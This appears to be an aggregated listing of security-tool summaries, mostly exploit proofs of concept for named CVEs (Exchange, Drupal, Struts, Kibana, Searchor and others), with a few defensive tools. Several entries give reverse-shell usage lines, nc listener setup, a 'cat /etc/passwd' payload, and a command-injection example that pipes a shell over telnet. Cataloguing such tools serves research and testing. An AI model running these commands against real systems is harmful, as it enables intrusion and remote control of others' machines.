CVE-2020-0688

CVE-2020-0688 工作利用PoC CVE-2020-0688 - 反向绑定Shell 使用Python2.7测试 安装： pip install -r requirements.txt 运行： python CVE-2020-0688-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

CVE-2014-3704

将代码转换为 Python 3 此代码来自 "Drupal 7.0 7.31 - 'Drupalgeddon' SQL Injection Add Admin User"，已转换为 Python 3，以适配 Academy 中模块 "Attacking Commoon Applications" 和部分 "Attacking Drupal" 的练习。 原始代码使用 Python 2 编写，但已将其转换为兼容 Python 3。此 README 结构复制自此处。 要求 要运行此代码，您的系统需要安装 Python 3。 用法 运行代码只需在终端或命令提示符中使用 Python 3...

Certitude

Certitude 是一个 Python 包，用于使用词典和证书特征的联合集进行监督式恶意 URL 分类。 所有 COSSAS 项目都托管在GitLab 上，并配备了到 GitHub 的推送镜像。问题/贡献请查看 CONTRIBUTING.md 快速入门 Certitude 需要 whois，在某些系统上可能不可用，因此以 Docker 镜像形式分发。 如果 whois 可用，也可以作为 Python 包安装，请参阅下面的开发部分。 root@kitploit: 从仓库拉取镜像 docker pull registry.gitlab.com/cossas/certitude:latest...

CVE-2026-23744

用法: exploit.py -h --lhost LHOST --lport LPORT --rhost RHOST CVE-2026-23744 - PoC 选项: -h, --help 显示此帮助信息并退出 --lhost, -l LHOST 攻击者 IP 地址 --lport, -p LPORT 攻击者端口 --rhost, -t RHOST 目标 URL...

CVE-2026-20230-Scanner

CVE-2026-20230 Scanner 一个基于Python的扫描与验证工具，用于识别可能受CVE-2026-20230影响的Cisco Unified Communications Manager Unified CM 部署。 功能 检测Cisco Unified CM实例 检查WebDialer暴露情况 支持单目标和批量扫描 包含可选的PoC验证功能 简单的命令行界面 用法 root@kitploit: python3 scanner.py https://target.example.com 批量扫描： root@kitploit: python3 scanner.py -l...

React2Shell_Exploit

React2ShellExploit CVE-2025-55182 我创建了简易的 react2shell CVE-2025-55182 Python 漏洞利用程序 用法 1. 保存脚本：将上述代码保存为 exploit.py。 2. 更新 Hosts：确保 reactor.htb 在你的 /etc/hosts 文件中解析到目标 IP。 root@kitploit: echo " reactor.htb" | sudo tee -a /etc/hosts 3. 启动监听：打开一个终端以接收反弹 Shell。 root@kitploit: nc -lvnp 4444 4...

cve-2014-0050

cve-2014-0050 CVE-2014-0050 漏洞站点示例 本项目旨在演示 CVE-2014-0050 漏洞的利用，仅供教育目的。 更多信息，请参阅： https://www.trustwave.com/Resources/SpiderLabs-Blog/CVE-2014-0050--Exploit-with-Boundaries,-Loops-without-Boundaries/...

FLAWED

F ix L ike A rtifacts w ith E mbedded D efects Un arnés de investigación para medir qué tan bien los agentes de IA parchean vulnerabilidades. Inicio rápido · Conjuntos de datos · Documentación · Modelo de seguridad · Contribuir FLAWED hace checkout de un proyecto de código abierto en un commit co...

GitMiner3

Autor: UnkL4b Sitio: bravul.com Blog: unkl4b.github.io Github: UnkL4b X: @UnkL4b ADVERTENCIA root@kitploit: +---------------------------------------------------+ | LOS DESARROLLADORES NO ASUMEN NINGUNA | | RESPONSABILIDAD Y NO SON RESPONSABLES DE CUALQUIER | | USO INDEBIDO O DAÑO CAUSADO POR ESTE...

pastokrapacefleciks

pastokrapacefleciks, el analizador WireShark - PRO Uso: Coloca tu archivo .pcapng en el directorio de pastokrapacefleciks root@kitploit: python .\pastokrapacefleciks.py python3 .\pastokrapacefleciks.py Revisa tu informe HTML...

CVE-2023-43364-Searchor-RCE-Exploit

CVE-2023-43364 – Searchor RCE 漏洞利用（PoC） 通过 Searchor（ --test 执行自定义命令 在目标服务器上运行任意命令： root@kitploit: python3 CVE-2023-43364.py -a "whoami" 示例： root@kitploit: python3 CVE-2023-43364.py -a "TF=$mktemp -u;mkfifo $TF && telnet IP PORT 0$TF" python3 CVE-2023-43364.py -a "ls -la" 反弹 Shell 在你的机器上启动监听器：...

CVE-2019-9978

CVE-2019-9978 - Social Warfare WordPress 插件 RCE system'cat /etc/passwd' ✅ 第 2 步 – 启动 Python HTTP 服务器 使用 Python 提供你的 payload 服务： root@kitploit: python3 -m http.server 8000 这将使你的 payload.txt 可通过以下地址访问： root@kitploit: http://:8000/payload.txt ✅ 第 3 步 – 运行利用脚本 root@kitploit: python3 CVE-2019-9978.py...

sound4-directory-listing

徽章 许可证 MIT 安装 1. 安装 Python3 和 pip 说明在此（如果你连这个都不会，那你其实不应该使用这个工具） 通过 pip 安装 root@kitploit: pip install sound4-directory-listing 运行以下命令检查 sound4-directory-listing -h 配置 2. 我们集成了 Telegram API，以便在检测到漏洞时接收即时通知。 Telegram 通知 root@kitploit: sound4-directory-listing --chatid 打开你的 Telegram，搜索...

CVE-2018-6961

CVE-2018-6961 - 未授权命令注入漏洞 此漏洞利用程序基于 Python2.7 环境，未在其他版本中测试。 1 安装依赖 root@kitploit: pip install request 如果没有安装 pip，直接运行以下命令： root@kitploit: apt-get install python-pip 2 使用方法 root@kitploit: python exployt.py --rhost --interface --lhost --lport --function root@kitploit: python exploit.py --rhost...

CVE-2004-1561

CVE-2004-1561 CVE-2004-1561的Metasploit利用程序的Python版本...

Apache-Struts

Apache-Struts 用于Apache Struts CVE-2017-5638的利用工具 使用方法 测试单个URL。 python struts-pwn.py --url 'http://example.com/struts2-showcase/index.action' -c 'id' Nmap Recong nmap -p --script http-vuln-cve2017-5638 ' 测试一组URL。 python struts-pwn.py --list 'urls.txt' -c 'id' 检查单个URL是否存在漏洞。 python struts-pwn.py...

CVE-2025-58434-PoC

CVE-2025-58434 PoC 用于触发 POST /api/v1/account/forgot-password 的 Python 概念验证脚本。 ⚠️ 仅供教育和已获授权的安全研究使用。 将此工具用于你不拥有或未经书面许可测试的系统是违法的。 致谢 zaddy6 Isaac David arthurgervais Arthur Gervais 详情 CVE-2025-58434 的 PoC 参考: https://github.com/advisories/GHSA-wgpv-6j63-x5ph 文件 poc.py: 提示输入机器 URL/IP、目标邮箱和密码（如果输入裸主机/I...

CVE-2019-7609-KibanaRCE

CVE-2019-7609-KibanaRCE 为使其兼容 Python 3，对该 CVE 进行了一些小修改。cve-modific.py 具体修改如下：在 getkibanaversion 函数中，将 match = re.findallpattern, r.content 更新为 match = re.findallpattern, r.text。此改动以 r.text 替代 r.content，使响应可被当作字符串而非字节处理。 仅供教育用途。此脚本仅限教育使用。 原始项目：https://github.com/LandGrey/CVE-2019-7609/...

mcpshield

mcpshield 一个针对未修补的 MCP STDIO 命令注入漏洞（CVE-2026-30623 系列，由 OX Security 于 2026 年 4 月披露，归为“设计问题”——无 SDK 补丁）的即插即用修复方案。只需导入一行代码，你的 Python 应用启动的每个 stdio MCP 服务器，在操作系统生成进程之前，其命令/参数/环境变量都会经过验证。 如果你是新手，请先阅读 适用范围，然后 安装 和 快速入门 将让你在两分钟内获得保护。 目录 项目状态 适用范围 安装 快速入门 选项 A：自动补丁（Python MCP 主机） 选项 B：静态检查（任何语言，零执行） 选项...

CVE-2024-3400

CVE-2024-3400 CVE-2024-3400 POC 使用 Rust 和 Python 编写...